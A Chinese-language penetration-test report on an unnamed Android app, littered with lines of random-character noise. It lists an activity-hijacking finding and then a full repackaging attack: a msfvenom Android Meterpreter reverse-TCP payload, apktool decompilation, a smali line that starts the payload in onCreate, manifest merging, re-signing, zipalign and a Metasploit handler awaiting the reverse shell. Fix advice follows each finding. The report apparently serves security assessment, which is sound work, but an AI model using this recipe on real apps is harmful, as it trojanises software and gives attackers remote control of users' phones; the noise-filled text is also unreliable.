2 c4 A, Y$ L3 e7 R& e8 q
0 ~; W) y- X+ e0 x: y9 b
2 s: S9 m7 k$ G6 ?5 X3 ?7 o3 k" o
% T: X& s8 c. ?# h
; |, b( Y, T# C: U
% [$ S4 o; Q7 m* U: k% ~7 f! f; p z' Y7 i2 M
" x! I$ }+ D" Q
, d. B" e- n2 u) X( n C2 Z 表1-2 测试结果 $ Q3 ?8 Y, h! U9 j1 g; u4 o* L
7 `/ U# j* ~7 L m
# D2 P( w' I( ^' T0 d5 M& H4 G9 ^. y/ \. g# q2 G+ M
4 ]4 V! P+ k$ Q/ n/ X8 r( V
! P7 V% v3 e7 V! S
2 A5 r7 Z9 ~( {% ]8 n
4 O/ G# t# F1 ]' f
5 w2 M, { Y9 A4 D# j
. g* X2 f5 n2 ?: N8 Q" A+ [$ j
. R1 f2 s, @# N/ R; C3 N* U5 }- D, N9 j
2 ~) Q2 M3 D# A/ h7 |6 C 2 检测结果 & J* c" N9 s2 _2 z
/ ~# [+ U0 t6 j( X, e" B
9 n l$ N' A3 w6 B8 Q; ^) ?; Q) s) ]5 k
$ H* N8 x- V8 [, ~# r: n; i
( K: Q, t4 ~" l5 B& h& C% g R9 s# ~3 E6 M
2.1 某某某
6 z/ I7 R" ^! e0 q# w8 b: f( e L, M; G g! Z$ a; T& t: T
! ~1 X6 `1 `; c3 ~% @% @& s
* |' K& _2 _6 B# V( R+ F ; n" H: [0 _6 Y7 C6 T
" P2 |; G% ?7 {) O5 E
2.1.1检测目标 6 d0 v( E2 i3 k! i! K3 i
0 A0 @: y, {; J' ]5 C
5 l V# u+ c5 ?! Z8 t( J4 t) A
7 F" x) f5 A2 ?
7 Z5 \: ?8 |- L) Q
8 f5 x V; t& W5 r
目标地址: 某某某某某某APP
; y5 K! @7 f6 `9 A/ B' O3 a' @$ H
: R. H* c5 p, w" d
" |* n, r2 M, W- ]" U- n, [3 f
; z/ j. n8 ^+ F) T
1 ?9 |) V- D3 A 2.1.2检测结果 ' c. U2 Q; F: K1 E2 T" _5 y5 l
! k7 a0 }3 ~; z& J% g2 k) _) ?: d3 c
: K$ w+ L/ Z4 X( S: J0 [" ]2 t, e$ N; U' Q# v% B. x, I
" _# T, X9 b- l5 ?
7 z( S2 D8 X9 ^$ T
2.1.2.1 7 a# K8 a: z& a1 q) ~0 I! g
: g! O1 H9 ]2 w" `! L! G
1 g/ U- B& \ D& @
% Z7 j9 s F) s2 o- _- [/ ?2 W+ g
' E4 _1 t6 m5 @; y$ }
% z' Z+ N, }, A% L 漏洞链接地址:某某某某某某APP
9 I) U; J/ e# U
# X/ G% v' J) e# Z5 m' r- C- b
' D; ^/ w0 @+ _# _1 C/ V! l" I. R4 T. z' `; D) X5 C& |! F# P0 L) L
` ^' Z* s% w% D! ~3 \/ b( F+ Z+ X3 a5 {" n: _
) _3 V& L- Z1 L# n. H
0 |& H' ]% G) P R- e& _% u; G5 s8 I
2 p( O A5 f! L2 w" R2 Q 5 o8 m5 ^: ?% H: p; p
( F* _8 G1 y2 v* O
漏洞分析及取证: 9 a P5 [) ?7 d$ i7 l7 K. V
) w5 @9 [/ w+ n( I% t9 ?
. n: |$ L& r+ O4 Y5 Y( `8 `* S* h' v
) w p5 [& z/ |& G5 p4 g ' F/ e h) M y7 s
9 u# {! y1 \' Q& s* I
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: + n9 n1 _( i4 _
" j" w T$ x$ N, ` # N1 ]3 {+ n3 B, B; {! T9 ?
5 X5 f' @4 K, p. U: M8 r
]0 ], Y1 I8 p7 I5 n( j; L3 m
1 h3 m6 r8 {! e7 |
1 c6 N/ o6 j6 P; F9 s
l, T$ Z. C0 n/ S2 k0 N) ?" m; }
) T% ?" T& C) @
" \+ y: n4 t( [3 {, Z
9 w! ^0 B& d& o, C1 P
4 F0 e/ h5 k$ }: h0 b* M" F 0 s+ C- P4 }1 c4 v! L9 w$ |% `/ u9 \: M T
" E N3 z+ G1 E1 ?- X " T$ @8 D) D7 M
& f9 Z4 m* [* g9 A/ b
$ ^" D7 p4 C/ b3 N* j& S" F. n6 L% J, E
7 H f0 J. U2 m ~5 I$ ~
" B1 s% B8 H' [* {1 d3 c* G 1 L/ p1 j7 O) K: I( p; X
3 B6 d! p( b) j/ f% s0 W, Q8 Q
" ~* \" U; |+ T1 S/ ~5 G q' C
6 |" s+ |) r7 j# p( \/ m & c# a- ]1 L6 `" c% g5 z
" U0 Z2 c2 l& H 1 Y. B+ z3 ?5 V: R
0 r! a# Q, @ c4 P1 g+ B
4 `( k% J8 k$ z+ I! Y; s) O
0 K: J( B' m. z1 C8 u( B2 K$ n * F2 B) T6 e! Z) D+ a
$ i8 Q0 W* o! D3 o
Y" s* y! W. B- ~/ z, E( b
" X+ }. ^% G, R/ O# I J2 U' q X8 }$ |8 R6 }6 a
$ \7 f t6 Y. ?9 A9 s; W 漏洞危害:高
" b3 D( P% `! O/ f3 q
% ]# V8 H; X {" S; T! W+ n4 R. z
* Y2 l; f1 q: o6 l2 u, d) I
& Q5 \+ p& E, m3 O 8 A& J1 W, d% o: T0 h
& ]/ W" V: |9 c& P) }4 p
2 S6 d* Y" ]1 j' [1 T) P' \# ^ Z* `$ }
0 g- M+ i& {2 Y) q( X7 F4 r
: e5 C& U: L9 B3 I" G, e
$ Z6 \) }, x" g! N; _
; I A- F, ^( m* S8 | . {$ I0 A; W( r" x; s
0 E, j0 p! E p2 a- i# ~ _0 W/ i; z: L8 \
" A) p& S/ O; L, s$ g0 J4 M+ S3 Z8 C
严重程度
# k, c8 m+ z% f1 t
, J# p; B) G* m
2 v1 t! Y7 T% V& D; k* l5 {
3 \" d' c( | N( j8 K |
6 w, r) f% {; B; E5 c: ^: V- w: V" P! U; S
# Y9 O7 |. O4 c' H! O/ \- `
9 m6 f$ N$ l, U% S! n3 H3 _
* X' t( `7 Q7 }6 U, |/ f1 N c' I# E0 G: y; o0 v V* V: J
高 4 A1 L. ?, K- i# s" ~# x
/ E+ m# \* \* ` t 2 [' M! V2 g& I7 ]
' S" ]5 v! S; ^" t; b, n
| 0 @: E8 n: u& Q3 @. h% h+ z
4 f6 m2 P, _! e7 Z/ c / v9 T6 |4 G g7 U: {) ?0 m: z
/ u/ d2 F" R# ^/ {) L# m & @$ I) t1 [5 |; F
8 ?8 Y F" k" j" q4 j, a ■
9 z2 [& `9 c4 R* K% A
& L4 ^5 U% S2 }# P
3 q6 b% j/ N7 f9 F/ C2 R
8 |( G0 |, Y9 W% P |
/ \6 U" i" x; C
0 F& d& W. E6 d
* u) z$ V. q; g5 A4 ~- ~; d% _% |0 k" A! k2 v6 Q. E; V
, Z2 ~7 ~4 U- M: J( d
7 D, W2 W% e! y9 D8 R: n 中 0 ~7 n: x b4 B) C9 K
9 Y' ^# O# U# E5 g7 w0 Y
9 P' d9 n2 \; {, W# G9 J1 h6 b' h( q* u. q
| E4 V$ y4 }7 S0 M* L
+ u( H. D0 X. C
$ B) o5 A% [: Q
5 |0 u: B! l$ c' _# T9 n
7 Y& F# h7 a/ t9 Y! Q) w O7 G. C. m8 ^# T4 {1 I- k8 p# K+ F+ B
$ b! ^+ s1 }! u E
% s H8 B" b! [) e& l
( R% m" e6 T: Q+ o W+ G
1 H4 N8 c. C0 y9 P- l3 o |
& w. E( }# R8 b O- @, E# x1 y% X
1 l1 _( }) O8 @ G# F / p# y( `4 Z) M- x( ^ c0 h
# Z- a, C" ~' c. \
4 n& a2 J- b1 @+ I8 k; Q7 Q8 \5 t; v( L
3 R$ s" d' e, ~$ w$ |
低 6 b% g6 _3 }5 D* _1 \* J) |
4 I! w7 |" y- m: k% u) }
4 i. X% {, t8 J& {; z7 d
: N; M/ n# u" j5 u% X, J
| 1 v& W A% R8 P2 \! c: j, U' m
8 _" |* G4 k+ {' ^, Y! n2 f
p: \+ B; i+ Y7 Q
2 e, n3 ^" P/ r8 z+ B# p0 `: U0 E 8 E( ~" a( H+ \5 Z+ z
# \+ |+ f, E! H1 g" P$ n# F0 a! F
; C9 _( [6 M/ M* K" I
7 \- I7 f+ U7 E% Q
* C6 C, ]" q$ S% C" S
; z, L! ]0 W# V1 S' o | 3 ~& }0 E4 Z- Z& d7 t$ X0 z/ n# i8 P
& h1 {: T& N" g M
& a) {2 e6 h/ J* P
) c% u2 T7 A) ], j6 C0 H
) p! s! m+ E" E. y
' w d, Z$ h& j: ~* \# X : h; v. C+ J3 E$ F
0 @- t/ G1 j" z7 v# z
$ `* q( z2 S, g/ H, @
* \' ]# }! C, h: @ 5 D6 r( s3 |8 ]/ Q+ c* j3 v# w: @( a
, q6 T/ C; t$ |# e; T9 A% L* q - D4 S: g; z5 @- C
# W" f3 N- q4 u( P4 Q
- v! T) e- A S/ V h, V
$ ]! ~- l1 D! l& Z , S& O/ k7 C: n, Q( z
3 U T6 s: O; k' f
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 ; A/ ]* O& `1 w* Y( D6 l" f
4 \; l6 x0 `; f" J
# S* A' ^# ?1 ~2 ^$ Z" K) i* ?8 _
% ~ z& M8 {- i' i9 D& a
+ N" r# {3 i2 A/ [: c0 @* g* x; B) }9 @
; o7 O; S* V4 |. G5 O6 i+ m. G9 L7 t( m, W
7 {. @2 Z! ~7 h# w1 {
* `, [+ {1 R6 y1 x0 s9 y! D& g3 @ $ @$ L3 S' z8 D& t9 ?
* S% K1 Z; o* ]+ Y7 t8 M+ X
3 u Q* J5 @* V& `
u, z. G9 f2 f8 s2 c" K1 t: Y
8 t5 J% r' E: R6 H3 L
; d! [5 ^6 D% E1 E3 k8 F# w g
' p% B4 M8 K, y* t5 K/ v; s- R' S! K. `
2.1.2.2 R) } e6 }; n! ~: {8 ?: `
2 ^; ^2 K @& s) Y# e' X% m
: } U- y+ G& d4 M9 `4 i7 X
. B6 S+ e1 b8 C6 v$ z , u3 h) }9 m- R( |
: r: j1 L. y. f. l
漏洞链接地址:某某某某某某APP
& J$ s, v" Y3 S. q1 O+ d% A
5 a$ l' j7 o. A2 J " ~# u/ C# y; A% i& R' e
) b% |: R% ?- f2 j K- r3 [7 h# t
- P9 [2 N. Z6 E3 @1 c, y! s
6 B& d, {# ~* p% I1 H. D! s3 a b 漏洞分析及取证:
. s2 t, t( ? D& o$ ^; n6 t8 u& u
8 ?6 w+ W7 ~% O, r0 r0 o 6 l& H1 A! o0 x
, a3 i% m4 o4 }( ?: Z. G0 \" [% T3 @
* d5 `1 h) |- S' Y( |
* O) [0 ^7 G; N. E* |. d f# p
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: % @; s* _5 T4 o5 S" a
* I. Y& u) s$ D2 n8 ?, a
' v; d, x5 t: h/ V5 w9 f% `: o) @/ Z& b' o: v
; ^: L+ V: g( A. r
" o# T) g6 h. r; v5 f 用Metasploit 生成木马 apk
7 G/ t3 {; `, I0 Z5 E- q, u) X& d/ x6 ^# L4 `
: Z5 ^3 a7 f c& P& G- Z" Z1 }. W+ |" c* Y
6 d& @, h5 C3 I7 } `: E9 r
7 @' e8 O6 ]* w: W4 { msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
7 w6 e# N+ G' ^8 v$ A% z, W, @# `
" w; _$ s0 W- d M, _ 5 F" n) W, y J, j
% h3 W, f9 U' t2 X$ x% Z+ `
4 E3 e- T6 h! }+ ^9 k( V) ]
0 R7 H+ J p; h) n# q& O8 v
反编译目标apk和木马apk 8 \7 q9 Y% A% }9 L5 w
$ |! a( G ^1 C1 D+ m1 n) X $ p `$ @; |& }, y) x* h0 M* }
4 m b3 X, ]8 G1 R @. \8 s8 n
# [) F* t# Q) t, _5 Q
1 S {: B. E, K apktool d target.apk 3 p2 w- l* }# F/ r; R6 \/ S
) ?) t' R$ n+ s apktool d cockhorse.apk
$ W7 m8 f: Z$ F; T- }# G# c6 N" i& l6 W
) o4 Z2 y2 Y: G7 g& p4 r f ]( P( Y6 U3 S* l
6 D9 K- B- S8 f: s3 r- r
' W& M) R, Z* D( Y4 n 木马 apk 注入目标 apk
$ b* M* A6 y f+ C
: t% D. S( G7 E: Q, Z: I; W ; h& z- Q& J. l5 Z* ~$ a& W6 a
2 ?% k5 J( M7 \# ~# S; e7 Y- W 8 I6 t* _0 ?+ u7 a$ c
$ O! Y6 q& V4 d" o 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
1 n5 M" k. M( Q0 I
7 B M, p/ g& ~7 A6 a8 k/ t invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 0 O6 r& j# c, t! F! z
6 t0 {- W" v% U' \$ X
1 j* j4 Y' p/ S
: v; L. s) b [1 d: f
# ?) J# r/ E8 x9 W4 {
3 G! K. G! V. {- _. @* k) ?; T 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 9 b- f F# @& E. ?
+ L) ^6 _3 @# n- Z/ G0 r# c
$ ?! f6 d) X. s5 |9 I# I
) m; j+ |: Y: q. p- X4 [" D / l4 j8 l. u" ^: ~8 V" {
9 Q ~; g' B, c4 p8 M3 O& [. R 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 & K$ N9 F( @4 E1 l6 p, I q
7 {6 k: Y0 A& @6 p
8 e+ p4 O- Z1 ?9 }4 g# |9 K4 J" D
: @* |$ c6 U. A6 e" Y 5 S3 o- I; \, y/ b ^8 f8 j: m9 J
& c [$ o- I S$ j 回编译生成最终 apk
3 L* d8 W% w; `. h* W
: y2 Q: R0 |; y5 I2 n7 q 1 B- p# Q) t& L6 b$ ?$ b7 D% v1 n
% K7 e$ T+ U# A ' t' W* ~; g' X: \+ `# N
) s. q0 ?- N: A
重新打包
" |+ t/ |# `1 S8 v! W
# [3 o* X2 G# e3 ]: ?) M( R ( U% X1 `) R @
7 x. B: ?% G$ J$ Q9 M; t
, j( K) M7 y* y+ v2 H1 o# b2 H6 z: Q9 w ]& C9 F) u7 T# ~# N7 J N
apktool b -o repackage.apk target_app_floder
$ h0 V5 O. [" U7 u. n+ M+ ^6 s% H2 A3 n: v% C( r) C% V# C5 ?8 y3 L
0 Z3 y {) T# x; c7 j. ~# S( c( ^1 {* Q- s, _" Y
: K8 a5 `2 ^9 `( C8 M
, V4 d8 O# e- ?" w7 D4 h f 创建签名文件,有的话可忽略此步骤
* G. v) J$ G# W
: @7 O7 ]+ V+ m5 O9 j8 Y- l
9 o! ?2 P9 }0 o, k" G
, g6 ?" z: C0 D
9 B' K( r1 v) J+ c) ^, j+ E/ q3 A. n7 a
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
) E3 u* G6 b; `7 O
S P- U. r" M/ y
& R! i ]1 e0 B
) _, ~. Y- w% f; S
( c& `" \2 J3 |, A9 b2 o
. R0 V5 j: O4 j 签名,以下任选其一
) R( U! P$ t0 c
4 D0 A5 A8 ]1 t! ]
^: R6 w, c9 \6 M% N1 a
3 n4 |9 ^# E1 l1 H% ? " x, ]3 I- Z6 u5 {
, A! q* R9 \! W" S jarsigner 方式
( X" A8 i+ }4 l7 d y
- s4 d3 ]$ x3 t; X6 s# { 3 e+ [: R3 x4 M* g
( A# Y1 c; a$ g* F
2 k4 w9 k0 d7 S. C/ G6 [9 o% y$ D8 y; `( |
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 2 y5 Y5 n/ ~, X& @
9 c/ m1 S$ D! u* m! Z
4 f7 b6 [! X8 o" U- G
4 v! h& ^4 y% S0 w9 Q3 a : w" E$ n& k4 b5 ~
1 u2 ?, J g9 v- y, E
apksigner 方式
+ ~# n& @: s. s) I9 d6 Z& K d, Q' |4 ^2 P& s" Z! G
, m( T- }% T9 a3 x8 A) Q/ L
0 G7 G! k- a5 q O' I4 e" q- Q) ~
4 |4 M& J$ A; V& {
8 H7 v+ }$ j. O apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 5 [" C8 U8 b: a- v! g
! [& J# t; f- t1 r# a* k' s
( @+ @. g6 e0 e% n- U% Z! h( o" `6 _: {9 E5 o' I
) {9 @) u; o1 Z4 ^
2 P& }6 L. O8 U% z- u" H
如需要禁用 v2签名 添加选项--v2-signing-enabled false
) N! g6 D5 z; _- A
9 L+ I9 ` f, Y: [4 W2 C. U1 H
( l8 \) t8 j6 ^. H3 P1 b3 O
7 b4 K; W. a* F* W$ M! u ' k3 P7 I" Z6 {( V {
2 z9 b; ]. d% z 验证,以下任选其一 2 ~! I; x8 e5 r$ T
9 [. j6 z! I2 Y9 F" P
/ T7 } W7 ~- j- `
. s! \# L* q v9 T! Y# p
9 B @8 P7 x" Y L _' N' y- j( v' Y9 z3 S, m$ O
jarsigner方式
( z! T+ C; `. s" m! `/ V
) y _' p- i0 a$ e1 B& i ) }( i! T" E; A8 v" K3 X: P
; S! B% z( r3 u
- W! P4 f6 X) F4 F
( r4 B4 ^7 {# C4 j) a5 a jarsigner -verify repackaged.apk / r* z: g$ a8 x |& ^
2 B# U# u5 \; K' a) g0 u9 Z, l8 U 0 t1 N9 l; p# r
: I2 K+ b/ [) h X! l6 ^% G$ h+ t
) D4 l: ?" N7 r. ~ |) w
# T2 L* U3 u5 p# e# J. ?- `; C) w apksigner 方式
/ s% M2 _2 a4 n$ J
# f4 o T' g/ Y1 { % T' b5 n1 @2 J
* `1 u2 D: h2 ?1 T, j, I, E
4 c# ?9 T, H- F8 c2 ~3 {4 m* v) I7 Y; i4 T* M% ]& m4 f
apksigner verify -v --print-certs repackaged.apk 5 h! d; k% r# |* T5 C/ X
' N4 Y0 q& Q1 L
, J' @9 l3 Z' X, M3 Q/ |
% ]! }: ?4 X5 W8 m
1 x* z6 [1 g3 [9 a
p+ p5 U' m& @4 O keytool方式 + r7 ~& R+ V5 h8 o
0 J2 X4 f. k5 Q3 }$ b, L, D7 p & W6 p" q7 e% ?( P, Y& ?
- K8 ^5 s% {/ k2 R4 C; g) M! z- N
8 {! `3 W6 V0 P, W( q+ ~
# w2 N; g3 P- ^7 u0 Z# k4 ]) |( Z keytool -printcert -jarfile repackaged.apk , X/ k" D$ Z( A: x& ]( T
0 k8 g |" N; {& G8 [8 p" f- _
6 _! ^- U# ]" c! A' Y' i& l1 F7 w3 v1 s; g1 b& q+ Z
V6 d2 Y4 d2 G$ G$ p0 n# [5 C
% }, Z0 K$ v% H( K) I 对齐
; V3 S6 L9 t3 b4 {) ~' @. h! B
7 ?! [& P. E+ p: X3 W6 l; M
. C6 t- z3 D& y6 M3 C' [# y
8 _/ o0 T) N, V& V# \, E1 f
' E( q0 f; I- T) T2 z3 v; j* O4 y- ^1 `9 |# W7 f
字节对齐优化 $ ]# S+ r# v" Q6 g+ [
+ q" i; l- U2 ~* w " A# U( o* Q" e7 e
! m; [5 I! H( S0 t' o/ o% y
% o& @8 ^' n6 G/ g- Q! x
+ Y4 s: x$ `7 {6 T9 d v: J
zipalign -v 4 repackaged.apk final.apk
* p" }: i3 o# h4 d7 z6 b! q$ r4 i7 F% K" }) [4 ~; l
1 L A+ A D( i1 O3 G0 l- N* C: X1 O- o3 P% T5 N
: b2 v: t0 K1 w. ~) y3 v" u) h' Q2 R% G
% T9 b; \( P1 y2 |
检查是否对齐
6 N4 \0 |: A; ?1 j) z' g
# Y3 m2 |$ P) b( E
+ g* H& r! n7 n( @2 r
z& e5 \- z I+ d0 R% x) S1 @
J. R2 P2 g1 z2 D
& I, f) `9 R- J# P' A) U+ d zipalign -c -v 4 final.apk ( A$ `: ~' s+ A7 u* B
! U4 M, m3 {: t' O
' h2 b; V& n# S7 y
. F% X' k& W4 C
7 C* f% ]; g9 o2 c/ x. F1 J* P# v% U7 n8 ^ w1 h; R( s
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
! i% N( @) t8 G B2 l( R1 f6 y8 G+ ^$ u+ h% b0 r: y5 X \% H; n
' ^/ [# ?; z. M+ `% Q% u$ I
6 H& u* H& ], b* Q: @
8 \. K; L7 }$ W) y2 d9 B8 |7 n5 k/ p2 v1 n
启动Metasploit控制台,配置参数等待上线 ( G/ D$ h' J9 S' w% m
: t4 h# b# Q$ S! n4 i
6 q" j2 Y( x5 [7 h9 W) c# u
) c' v5 e0 B# A7 q3 N! u $ ^) D1 ]' Y- N) Q; }
% F2 }7 u2 M" f1 f, z2 d* R
在终端依次输入如下命令
% E0 B& H" \: o* G1 [+ d, ^; A$ {" H; S! m; H8 y
* N% Y7 s( u8 W1 [8 [' p7 C7 D2 z# W" Z) l
2 q- J+ B8 J$ b0 N% _6 [- Y% {2 ^
msfconsole " a$ a" t4 B2 }; `& u0 ? ^" J2 Q
+ I) N; f S: J+ N$ f+ f6 l0 O" S * o* k5 Y4 L3 X/ Q6 y% l5 i
9 P/ R4 S# j0 Y, }; C
+ y4 h, w% K' a! T- S% O
4 i" [# B- O. t$ v# j
use exploit/multi/handler 7 b. m3 o: z/ I8 c9 }& F" q$ y
* {4 \+ l4 U3 V" n( ~. |7 Z6 Y2 y : g& P9 t: N* r7 Q% t+ v0 {9 G
0 v! q+ p5 P) i5 o8 _; D6 @ w! F
+ m( ~4 ~5 @$ e8 j
/ R$ v0 n9 z: @( E set PAYLOAD android/meterpreter/reverse_tcp
0 H9 b4 j2 l) L
' j. O K3 I( V% n + |& r( [9 w2 {! \4 F
- }6 x( X$ u! j* C% U
! k- |8 x' v7 G& s# a/ [! g4 G: o" C0 d2 Q( _
set LHOST 192.xxx.xx.xx
% L% G4 ~8 ]" ]& v& \! ~( A0 M0 b0 ^& B, o- {
% S Y% i. a5 q# z. ?3 L& K
. M! X( \" }. g2 Z* h5 J$ M& M2 Y2 C
8 j' j3 D7 g$ @4 A: e6 o- q _, m
5 O7 @% ]7 f, a% `7 Y. J( O
set LPORT 4444
9 k/ W' T3 O5 t# \7 _- B+ i; e; X" @& L
6 E' j, r6 P+ c0 P) r8 a
: M- l6 t9 D0 V& d0 [4 t
9 T0 x! i! T4 t' b' |, g
' g* [! M9 E* j" q3 G$ {7 X exploit
4 d! c/ w1 P q) u0 |* J, c% k( |1 _8 C) x
7 B* ~, v. `- g2 {1 f
, U4 A! [# e" \
0 c, i6 Q, z6 ^6 M$ O" N _3 v; m0 m! e' l. Z9 c1 u* e7 J
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
& w: a, m1 p D, a6 h, r9 h" x0 d g$ d+ `5 P9 \
0 j9 V, U3 T- A- U1 x$ X3 n+ }, ]3 T/ q# r; \
' u3 c+ b% B# c ~* m5 S, j* d
( \1 }$ T) N2 ]3 K+ G 漏洞危害:中
+ L2 D% R" \2 A' O! j7 o, |, r; M) B& x# r* G3 j( a
9 \/ o2 A! L8 j- s2 O! W7 v
0 K0 _! {5 B7 P9 N/ S" T" H " z* J+ Y G @# X6 W
) [; R( p3 Q. j& T, l2 s
: h5 c" f- l1 e3 o8 N; E% H9 Q
) P1 K5 Q& @: N" A, K % k" F! X. P0 i, [% m4 a
6 G( e F! `( _; |0 f4 u , l3 a0 _, k* n5 _4 l) s% x- }, k8 g
6 r" q( _$ P) D; g4 c; P% Z + o( C2 k9 d9 R' A! p8 M7 t5 \
P9 H, l$ _( r, T& a
: {% O E! `* I# l# G @0 F& ]; ~. l4 t
* V5 o* n" b# ]6 k/ Z0 I. t
& \. d! w! e( v8 d* }* L$ j
严重程度
* m3 i- i( c% U9 h. L* S/ }
1 G S6 V& K3 |5 n+ \- b @
n+ i, @" k/ k: i8 b9 x6 I9 [/ o: i% w
|
9 Y& s0 L% j O+ f' l. i' U' \; r' j0 g/ V4 `$ j1 H
/ F1 N. [1 b4 ~. N
3 M$ a6 A: Z3 \) x5 j 3 H! H* q1 f, _
) `! ]9 W: t( J5 u8 d- G 高
/ v6 G! E ]& U4 I' q& j9 D" i1 U$ I% I+ [5 X7 [
% Q5 c6 e t. l# T, G4 ?9 [* r% _- b7 U
|
, x$ v, W' x/ ?" ], D
3 d0 |/ K0 o5 x! H9 C7 z. [/ h
v* Q, n. r0 f& Y1 q. O% ~5 E6 v, r5 |1 T9 x4 W% j+ T* l& U4 C
7 o9 P+ o! }! p9 [
! p I3 ^# G+ h u [5 e2 Y ■
' l8 F2 x4 D# n% R
) B% M W3 o: Z1 p& b' K
' s; d: ~. ?. j4 L# [: X/ O" g! X4 h& m, h
|
R" Q' a6 I3 t" D3 p3 y( k J4 ?. F% v4 P8 E& N/ `. s
' ^& ~3 b j1 j4 t& s4 W$ T V' H/ ?8 q, x8 @
& e" } J2 h! R" d2 u
. U0 H. Y \% y9 |4 L' ~, {
中 - Z7 f1 r {4 E0 c3 Y. h
# k4 A0 q7 a8 o& b
4 M+ w9 c& u* F1 t
4 O! } h( v( ]# j
| " J9 D( c: M# [) d3 A
: Z4 [2 @" w% Q" t5 q' }8 g
- G4 y$ } h" g' _8 l( U1 _
: Y( p7 y. ?( k 1 W0 |! E* ^2 y: x
9 a% ]+ c ^* J" Y( ?. X8 G9 p* t / |! S0 ~# z# U6 j( K O# v9 }
5 Z" Y/ b+ ]7 b: B
. e3 Y7 B3 f$ a% k; l( c+ V; h
* x$ y8 N* @) {( ^ ) y P4 @# y+ u! }1 q m5 M( I
' }- T( `4 [) v2 H9 J, @
|
% u# I: D! h* Y9 w' f6 I1 h3 w6 T& x8 Y6 {
/ z, Q8 R5 ?" `, `8 Y- K# q+ O% ^
* ^$ c9 z3 `, y; H0 {+ u
8 a' {$ S0 Y: A* E: H; A! s% _( i2 X
低
3 f/ P$ x8 E9 H# z; L0 [( v0 w) R# u
; `% I' }9 ]( G F+ I$ l2 a
' n6 Z. |" u9 t7 i, @& F1 R7 H | ( T! F# N) p* t
. i3 v; W+ N, b0 W & Z7 n. ?! U9 \% ^ I
5 o4 ]0 O V3 G
+ R: {# W7 W4 @3 q$ p8 O; G8 j
) k0 {/ W6 @1 _" V 7 j9 {; p" c* H. ~( i! L9 T
, R0 {) x! c( ~5 P# b5 m
- @0 C7 z! X# e4 d$ C [# M% d5 C4 v5 s) I0 z. e
% K! y/ e0 [1 {
$ Z/ v2 s$ b4 P+ j& `& v0 y
|
0 Y- C# F- f; r5 {9 L k9 m! y8 ], H; A( B! C5 B3 G* D
3 c6 s. j6 Q3 Q( H3 w; ?6 |; L3 j; G( Y2 K+ I! O
, f5 m! @3 V0 v4 F* ^( r# Z0 e
* \. L- F- n* F+ ?' m& Y3 P6 r3 O: Y* k, n
* H: G9 Q' g/ v6 i, ^9 P/ W5 H \3 N1 W& C; k, K" k: l: K' {5 p1 j
; K+ j7 D2 F4 {5 v8 L9 `* t5 ]4 v6 }2 v8 ^ r7 v: d0 e
9 O0 f4 U5 i7 `& w2 L0 O0 T; \4 Q# C6 H4 I9 q- X4 m
. n0 g4 v; ?# l$ D6 j. O$ W9 E& e1 l
9 v+ _( p6 a8 h; Q7 ^' y+ I
4 v; f) Y2 `7 ~2 X
% u# E k3 N, @* `4 n5 E: W
0 o4 D' L1 ~! y0 Z. y t 修复方法:
n5 c& ^" ?) v% b8 `; ~5 V7 q# E: h! ^0 c
; y- d% Z ?' ^* `2 m# D
9 W3 g! y o& v) Z3 W$ l+ V& P
2 A, m7 ^$ I. x5 [( q
7 d5 c$ w7 {, a2 { 1.在 APP 启动时应做签名校验防止二次打包。
8 J u+ x) m: ~# S
( O! S- g. p( h* w' D 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 % E8 h5 p8 Q% Z w- y
' y4 k9 e u M; K( @ ! d$ ~' i$ W7 D
# r- `: c; w* V
* U. U8 J5 C# x! P2 H7 U( c( X. X+ D( ]4 ^) J2 F: B" A
+ c O5 c7 V/ K1 a0 B' \2 ~& u. {. c; P+ u
. Z* S8 ]$ ]" T8 U" ?3 s' \& [
6 S! h6 j& F' c4 r" D1 L $ g# ?/ B$ a. I: E& `: a( A# I( z
2 y9 O* v9 h9 c3 p6 M ( Z' i; c3 Q3 @% o- `, c
2 t, Y Q# Q; k( C& R. @
/ k) q2 ?2 }) X3 |5 ~
& T! O% v! _0 o
) a' s% n& X" C; S+ ^: {: g9 y' M$ G; w
3 F. n5 F, D9 Y
" i0 b5 G$ C% w |